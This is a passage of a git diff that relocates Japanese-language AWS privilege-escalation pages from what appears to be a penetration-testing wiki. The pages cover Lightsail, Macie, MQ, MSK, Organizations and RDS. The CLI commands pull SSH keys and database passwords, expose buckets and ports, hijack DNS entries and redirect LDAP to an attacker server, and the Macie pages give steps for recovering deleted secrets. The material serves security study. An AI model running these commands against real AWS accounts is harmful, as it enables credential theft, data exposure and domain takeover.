---instance-name MEAN-2 \
---port-infos fromPort=22,protocol=TCP,toPort=22
-```
-**潜在的な影響:** 機密ポートにアクセスする。
-
-### `lightsail:SetResourceAccessForBucket`
-
-この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを許可します。
-```bash
-aws set-resource-access-for-bucket \
---resource-name <instance-name> \
---bucket-name <bucket-name> \
---access allow
-```
-**潜在的な影響:** 機密情報を含むバケットへの新たなアクセスの可能性。
-
-### `lightsail:UpdateBucket`
-
-この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます:
-```bash
-# Grant read access to exterenal account
-aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
-
-# Grant read to the public
-aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
-
-# Bucket private but single objects can be public
-aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
-```
-**潜在的な影響:** 機密情報を含むバケットへの新しいアクセスの可能性。
-
-### `lightsail:UpdateContainerService`
-
-この権限を持つ攻撃者は、コンテナサービスからプライベートECRへのアクセスを付与することができます。
-```bash
-aws update-container-service \
---service-name <name> \
---private-registry-access ecrImagePullerRole={isActive=boolean}
-```
-**潜在的な影響:** プライベートECRから機密情報を取得する
-
-### `lightsail:CreateDomainEntry`
-
-この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができる（サブドメインの乗っ取り）、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。
-```bash
-aws lightsail create-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**潜在的な影響:** ドメインの乗っ取り
-
-### `lightsail:UpdateDomainEntry`
-
-この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる（サブドメインの乗っ取り）、またはSPFレコードを作成してドメインからのメールを偽装することを許可することができる、さらにはメインドメインを自分のIPアドレスに設定することさえできる。
-```bash
-aws lightsail update-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**潜在的な影響:** ドメインの乗っ取り
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
new file mode 100644
index 000000000..acf88c3e7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - Lightsail Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Lightsail の詳細については次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+> [!WARNING]
+> Lightsail は **ユーザーに属する IAM roles を使用せず**、AWS managed account に紐づくため、このサービスを利用して privesc を行うことはできません。しかし、**機密データ**（code、API keys、database info）がこのサービス内で見つかる可能性があります。
+
+### `lightsail:DownloadDefaultKeyPair`
+
+この権限により、インスタンスにアクセスするための SSH keys を取得できます：
+```
+aws lightsail download-default-key-pair
+```
+**Potential Impact:** インスタンス内の機密情報を見つける。
+
+### `lightsail:GetInstanceAccessDetails`
+
+この権限により、インスタンスへアクセスするためのSSHキーを生成できます:
+```bash
+aws lightsail get-instance-access-details --instance-name <instance_name>
+```
+**潜在的な影響:** インスタンス内の機密情報を見つける。
+
+### `lightsail:CreateBucketAccessKey`
+
+この権限により、bucket にアクセスするためのキーを取得できます:
+```bash
+aws lightsail create-bucket-access-key --bucket-name <name>
+```
+**潜在的影響:** bucket 内の機密情報を見つける。
+
+### `lightsail:GetRelationalDatabaseMasterUserPassword`
+
+この権限があれば、データベースにアクセスするための認証情報を取得できます:
+```bash
+aws lightsail get-relational-database-master-user-password --relational-database-name <name>
+```
+**潜在的な影響:** データベース内の機密情報を見つけることができる。
+
+### `lightsail:UpdateRelationalDatabase`
+
+この権限により、データベースにアクセスするためのパスワードを変更できます:
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
+```
+データベースが公開されていない場合は、次の権限で公開にすることもできます。
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
+```
+**Potential Impact:** データベース内の機密情報を見つけることができる。
+
+### `lightsail:OpenInstancePublicPorts`
+
+この権限によりインターネットに対してポートを開放できます。
+```bash
+aws lightsail open-instance-public-ports \
+--instance-name MEAN-2 \
+--port-info fromPort=22,protocol=TCP,toPort=22
+```
+**Potential Impact:** 機密性の高いポートにアクセス可能
+
+### `lightsail:PutInstancePublicPorts`
+
+この権限により、ポートをインターネットに公開できます。呼び出し時に、指定されていない既存のポートはすべて閉じられます。
+```bash
+aws lightsail put-instance-public-ports \
+--instance-name MEAN-2 \
+--port-infos fromPort=22,protocol=TCP,toPort=22
+```
+**潜在的な影響:** 機密性の高い ports へのアクセス
+
+### `lightsail:SetResourceAccessForBucket`
+
+この permissions により、instances に追加の credentials なしで bucket へのアクセスを付与できます。
+```bash
+aws set-resource-access-for-bucket \
+--resource-name <instance-name> \
+--bucket-name <bucket-name> \
+--access allow
+```
+**潜在的影響:** 機密情報を含むバケットへの新たなアクセスの可能性。
+
+### `lightsail:UpdateBucket`
+
+この権限があれば、攻撃者は自分のAWSアカウントに対してバケットの読み取りアクセスを付与したり、バケットを全員に公開したりすることができます:
+```bash
+# Grant read access to exterenal account
+aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
+
+# Grant read to the public
+aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
+
+# Bucket private but single objects can be public
+aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
+```
+**潜在的影響:** 機密情報を含むバケットへの新たなアクセスが発生する可能性。
+
+### `lightsail:UpdateContainerService`
+
+この権限があれば、攻撃者はコンテナサービスからプライベート ECR へのアクセスを付与できる可能性がある。
+```bash
+aws update-container-service \
+--service-name <name> \
+--private-registry-access ecrImagePullerRole={isActive=boolean}
+```
+**Potential Impact:** プライベート ECR から機密情報を取得する
+
+### `lightsail:CreateDomainEntry`
+
+この権限を持つ攻撃者はサブドメインを作成して自身のIPアドレスに向ける（subdomain takeover）、あるいはSPFレコードを作成してドメインからのメールをなりすますことができる、さらにはメインドメインを自身のIPアドレスに設定することさえ可能です。
+```bash
+aws lightsail create-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**潜在的な影響:** ドメインの乗っ取り
+
+### `lightsail:UpdateDomainEntry`
+
+この権限を持つ攻撃者は、subdomain を作成して自分の IP アドレスを指すように設定（subdomain takeover）、または SPF レコードを作成してドメインからのメールを spoof できるようにしたり、メインドメイン自体を自分の IP アドレスに設定することさえ可能です。
+```bash
+aws lightsail update-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**潜在的影響：** ドメインの乗っ取り
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
deleted file mode 100644
index 59eb23feb..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Macie Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Macie
-
-Macieに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-macie-enum.md
-{{#endref}}
-
-### Amazon Macie - `Reveal Sample` 整合性チェックのバイパス
-
-AWS Macieは、AWS環境内の機密データ（資格情報、個人を特定できる情報（PII）、その他の機密データ）を自動的に検出するセキュリティサービスです。MacieがS3バケットに保存されたAWSシークレットキーのような機密資格情報を特定すると、所有者が検出されたデータの「サンプル」を表示できるようにする発見を生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットは再取得できないと考えられています。
-
-しかし、十分な権限を持つ攻撃者が**同じ名前のファイルを再アップロード**できる**バイパス**が特定されましたが、そのファイルには異なる非機密のダミーデータが含まれています。これにより、Macieは新しくアップロードされたファイルを元の発見に関連付け、攻撃者は**「Reveal Sample」機能**を使用して以前に検出されたシークレットを抽出できるようになります。この問題は、削除されたと考えられていたシークレットがこの方法で再取得可能であるため、重大なセキュリティリスクをもたらします。
-
-![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
-
-**再現手順:**
-
-1. 機密データ（例: `test-secret.txt`）を含むファイルをS3バケットにアップロードします。AWS Macieがスキャンして発見を生成するのを待ちます。
-
-2. AWS Macie Findingsに移動し、生成された発見を見つけて、**Reveal Sample**機能を使用して検出されたシークレットを表示します。
-
-3. S3バケットから`test-secret.txt`を削除し、それが存在しないことを確認します。
-
-4. ダミーデータを含む新しいファイル`test-secret.txt`を作成し、**攻撃者のアカウント**を使用して同じS3バケットに再アップロードします。
-
-5. AWS Macie Findingsに戻り、元の発見にアクセスして、再度**Reveal Sample**をクリックします。
-
-6. ファイルが削除され、異なる内容に置き換えられたにもかかわらず、Macieが元のシークレットをまだ表示することに注意します。**異なるアカウントから、私たちの場合は攻撃者のアカウントになります。**
-
-**要約:**
-
-この脆弱性により、十分なAWS IAM権限を持つ攻撃者は、元のファイルがS3から削除された後でも以前に検出されたシークレットを回復できます。AWSシークレットキー、アクセストークン、またはその他の機密資格情報が露出した場合、攻撃者はこの欠陥を利用してそれを取得し、AWSリソースへの不正アクセスを得ることができます。これにより、特権の昇格、不正なデータアクセス、またはクラウド資産のさらなる侵害が発生し、データ漏洩やサービスの中断を引き起こす可能性があります。
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
new file mode 100644
index 000000000..5aaeb62f1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
@@ -0,0 +1,38 @@
+# AWS - Macie Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+For more information about Macie check:
+
+{{#ref}}
+../../aws-services/aws-macie-enum.md
+{{#endref}}
+
+### Amazon Macie - Bypass `Reveal Sample` Integrity Check
+
+AWS Macieは、AWS環境内の資格情報、個人識別情報（PII）、およびその他の機密データなどのセンシティブなデータを自動的に検出するセキュリティサービスです。MacieがS3バケットに格納されたAWSのシークレットキーのような機密資格情報を検出すると、検出されたデータの「サンプル」を表示できるfindingを生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットはもはや取得できないはずです。
+
+しかし、十分な権限を持つ攻撃者が「同じ名前のファイルを再アップロード」し、中身を異なるダミーデータに置き換えることで回避できる脆弱性が確認されています。これによりMacieは新しくアップロードされたファイルを元のfindingに関連付け、攻撃者は**"Reveal Sample"**機能を使って以前に検出されたシークレットを抽出できてしまいます。この問題は、削除されたと想定されていたシークレットがこの手法で取り出せるため、重大なセキュリティリスクをもたらします。
+
+![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
+
+**再現手順:**
+
+1. S3バケットに機密データ（例: `test-secret.txt` に格納されたAWSシークレットキー）をアップロードし、AWS Macieがスキャンしてfindingを生成するのを待ちます。
+
+2. AWS Macie Findingsに移動し、生成されたfindingを見つけ、**Reveal Sample**機能を使って検出されたシークレットを表示します。
+
+3. S3バケットから`test-secret.txt`を削除し、ファイルが存在しないことを確認します。
+
+4. 同じ名前の`test-secret.txt`をダミーデータで作成し、**attacker's account**を使って同じS3バケットに再アップロードします。
+
+5. AWS Macie Findingsに戻り、元のfindingにアクセスして再度**Reveal Sample**をクリックします。
+
+6. 異なるアカウント（今回のケースではattacker's account）からファイルが削除され、内容が置き換えられていても、Macieが元のシークレットを引き続き表示することを確認します。
+
+**概要:**
+
+この脆弱性により、十分なAWS IAM権限を持つ攻撃者は、元のファイルがS3から削除された後でも以前に検出されたシークレットを回収できます。AWSシークレットキー、アクセストークン、その他の機密資格情報が漏えいしている場合、攻撃者はこの欠陥を利用してそれらを取得し、不正にAWSリソースへアクセスする可能性があります。これにより、privilege escalation、無許可のデータアクセス、クラウド資産のさらなる侵害につながり、データ漏洩やサービス停止などの影響を引き起こす恐れがあります。
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
index 9a578e9cf..704bb0e12 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Mediapackage Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### `mediapackage:RotateChannelCredentials`
 
-Channelの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentialsのために非推奨です）
+Channelの最初のIngestEndpointのusernameとpasswordを変更します。 (このAPIはRotateIngestEndpointCredentialsに置き換えられています)
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```
 ### `mediapackage:RotateIngestEndpointCredentials`
 
-チャンネルの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentials用に非推奨です）
+Channel の最初の IngestEndpoint のユーザー名とパスワードを変更します。 (この API は RotateIngestEndpointCredentials に対して非推奨です)
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
-## 参考文献
+## 参考
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 670a6e56c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - MQ Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MQ
-
-MQに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-mq-enum.md
-{{#endref}}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-これらの権限を使用すると、**ActiveMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）：
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**潜在的な影響:** ActiveMQを通じて機密情報にアクセスする
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-これらの権限を持つことで、**ActiveMQブローカーに新しいユーザーを作成することができます**（これはRabbitMQでは機能しません）：
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id <value>
-aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**潜在的な影響:** ActiveMQを通じて機密情報にアクセス
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-ブローカーが**ActiveMQ**で**LDAP**を使用して認証している場合、攻撃者が制御する**LDAPサーバー**に使用される**設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id <value> --ldap-server-metadata=...
-```
-もしActiveMQで使用されている元の認証情報を見つけることができれば、MitM攻撃を実行し、認証情報を盗み、元のサーバーでそれを使用し、レスポンスを送信することができます（盗まれた認証情報を再利用するだけでこれを行うことができるかもしれません）。
-
-**潜在的な影響:** ActiveMQの認証情報を盗む
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
new file mode 100644
index 000000000..a7f5bf251
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
@@ -0,0 +1,43 @@
+# AWS - MQ Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MQ
+
+MQの詳細については以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+これらの権限があれば、**ActimeMQ ブローカーに新しいユーザーを作成できます**（これは RabbitMQ では動作しません）：
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Potential Impact:** ActiveMQ を操作して機密情報にアクセスする
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+これらの権限があれば、**ActimeMQ broker に新しいユーザーを作成できます**（これは RabbitMQ では動作しません）:
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id <value>
+aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Potential Impact:** ActiveMQ を通じて機密情報へアクセス可能
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+ブローカーが **ActiveMQ** での認可に **LDAP** を使用している場合、使用されているLDAPサーバーの**設定**を**攻撃者の管理下にあるもの**に**変更**することが可能です。こうすることで、攻撃者は **LDAP** を通じて送信されるすべての認証情報を**窃取**できるようになります。
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id <value> --ldap-server-metadata=...
+```
+もし何らかの方法で ActiveMQ に使われた元の credentials を見つけられれば、MitM を実行して creds を盗み、それらを元のサーバーで使用してレスポンスを送信できます（盗んだ creds を再利用するだけで可能かもしれません）。
+
+**潜在的な影響:** ActiveMQ の credentials を盗む
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index 827f2204e..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# AWS - MSK Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MSK
-
-MSK (Kafka) に関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-msk-enum.md
-{{#endref}}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-これらの**権限**と**kafka ブローカーが存在する VPC へのアクセス**があれば、**None 認証**を追加してアクセスすることができます。
-```bash
-aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
-```
-VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできない**からです。公開されている場合、**SASL/SCRAM**認証が使用されていると、**シークレットを読み取る**ことができる可能性があります（シークレットを読み取るには追加の権限が必要です）。\
-**IAMロールベースの認証**が使用され、**Kafkaが公開されている**場合でも、これらの権限を悪用してアクセスするための権限を与えることができます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
new file mode 100644
index 000000000..9ac4128c3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
@@ -0,0 +1,22 @@
+# AWS - MSK Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MSK
+
+MSK (Kafka) の詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+これらの **privileges** と **access to the VPC where the kafka brokers are** があれば、**None authentication** を追加してそれらにアクセスできるようにできます。
+```bash
+aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
+```
+VPC へのアクセスが必要です。なぜなら、**Kafka を公開した状態では None authentication を有効にできない**からです。もし公開されている場合、**SASL/SCRAM** 認証が使用されていると、アクセスするために**シークレットを読み取る**ことができる（シークレットを読み取るには追加の権限が必要です）。\
+もし**IAM role-based authentication**が使用され、**kafka が公開されている**場合でも、これらの権限を悪用して自分がアクセスできるように権限を付与させることができます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index b376e9981..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Organizations Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizations
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-## 管理アカウントから子アカウントへ
-
-ルート/管理アカウントを侵害した場合、すべての子アカウントを侵害できる可能性があります。\
-[**このページを確認して学ぶ**](../#compromising-the-organization)。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
new file mode 100644
index 000000000..44e2b859d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## 管理アカウントから子アカウントへ
+
+root/management account を侵害すると、子アカウントすべてを侵害できる可能性が高くなります。\
+詳細は[**このページを確認してください**](../../index.html#compromising-the-organization)。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
deleted file mode 100644
index 911b13517..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ /dev/null
@@ -1,151 +0,0 @@
-# AWS - RDS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS - リレーショナルデータベースサービス
-
-RDSに関する詳細情報は以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### `rds:ModifyDBInstance`
-
-この権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます:
-```bash
-# Get the DB username, db name and address
-aws rds describe-db-instances
-
-# Modify the password and wait a couple of minutes
-aws rds modify-db-instance \
---db-instance-identifier <db-id> \
---master-user-password 'Llaody2f6.123' \
---apply-immediately
-
-# In case of postgres
-psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
-```
-> [!WARNING]
-> データベースに**接続する**ことができる必要があります（通常、内部ネットワークからのみアクセス可能です）。
-
-**潜在的な影響:** データベース内の機密情報を見つけること。
-
-### rds-db:connect
-
-[**ドキュメント**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)によると、この権限を持つユーザーはDBインスタンスに接続できます。
-
-### RDSロールIAM権限の悪用
-
-#### Postgresql (Aurora)
-
-> [!TIP]
-> **`SELECT datname FROM pg_database;`** を実行すると、**`rdsadmin`** というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。
-
-まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます:
-```sql
-SELECT * FROM pg_extension;
-```
-もし**`aws_s3`**のようなものを見つけた場合、このデータベースは**S3に対する何らかのアクセス権を持っている**と考えられます（**`aws_ml`**や**`aws_lambda`**などの他の拡張子もあります）。
-
-また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターにIAMロールが付与されているかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えられます。**ロールの名前**（またはロールの**権限**を取得できる場合）に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。
-
-さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます:
-```sql
-// Create table
-CREATE TABLE ttemp (col TEXT);
-
-// Create s3 uri
-SELECT aws_commons.create_s3_uri(
-'test1234567890678', // Name of the bucket
-'data.csv',          // Name of the file
-'eu-west-1'          //region of the bucket
-) AS s3_uri \gset
-
-// Load file contents in table
-SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
-
-// Get info
-SELECT * from ttemp;
-
-// Delete table
-DROP TABLE ttemp;
-```
-もし**生のAWS認証情報**を持っていれば、次のコマンドを使用してS3データにアクセスすることもできます:
-```sql
-SELECT aws_s3.table_import_from_s3(
-'t', '', '(format csv)',
-:'s3_uri',
-aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
-);
-```
-> [!NOTE]
-> Postgresql **は S3 にアクセスするためにパラメータグループ変数を変更する必要はありません**。
-
-#### Mysql (Aurora)
-
-> [!TIP]
-> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えることができます。
-
-mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。
-
-また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連するロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。
-
-今、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます:
-```sql
-CREATE TABLE ttemp (col TEXT);
-LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
-SELECT * FROM ttemp;
-DROP TABLE ttemp;
-```
-### `rds:AddRoleToDBCluster`, `iam:PassRole`
-
-`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることができる可能性があります。
-```bash
-aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
-```
-**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。\
-一部のDBは、Mysqlのように、パラメータグループにロールARNを指定する必要があるなど、追加の設定が必要であることに注意してください。
-
-### `rds:CreateDBInstance`
-
-この権限だけで、攻撃者は**既存のクラスター内に新しいインスタンス**を作成でき、**IAMロール**が添付されている場合があります。マスターユーザーパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開できる可能性があります。
-```bash
-aws --region eu-west-1 --profile none-priv rds create-db-instance \
---db-instance-identifier mydbinstance2 \
---db-instance-class db.t3.medium \
---engine aurora-postgresql \
---db-cluster-identifier database-1 \
---db-security-groups "string" \
---publicly-accessible
-```
-### `rds:CreateDBInstance`, `iam:PassRole`
-
-> [!NOTE]
-> TODO: テスト
-
-`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付して新しい RDS インスタンスを作成**できます。攻撃者はその後、**機密データにアクセス**したり、インスタンス内のデータを変更したりする可能性があります。
-
-> [!WARNING]
-> 添付するロール/インスタンスプロファイルのいくつかの要件（[**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)から）:
-
-> - プロファイルはあなたのアカウントに存在しなければなりません。
-> - プロファイルには、Amazon EC2 が引き受ける権限を持つ IAM ロールが必要です。
-> - インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。
-```bash
-aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
-```
-**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
-
-### `rds:AddRoleToDBInstance`, `iam:PassRole`
-
-`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加**することができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。
-
-> [!WARNING]
-> DBインスタンスは、これを行うためにクラスターの外にある必要があります。
-```bash
-aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
-```
-**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
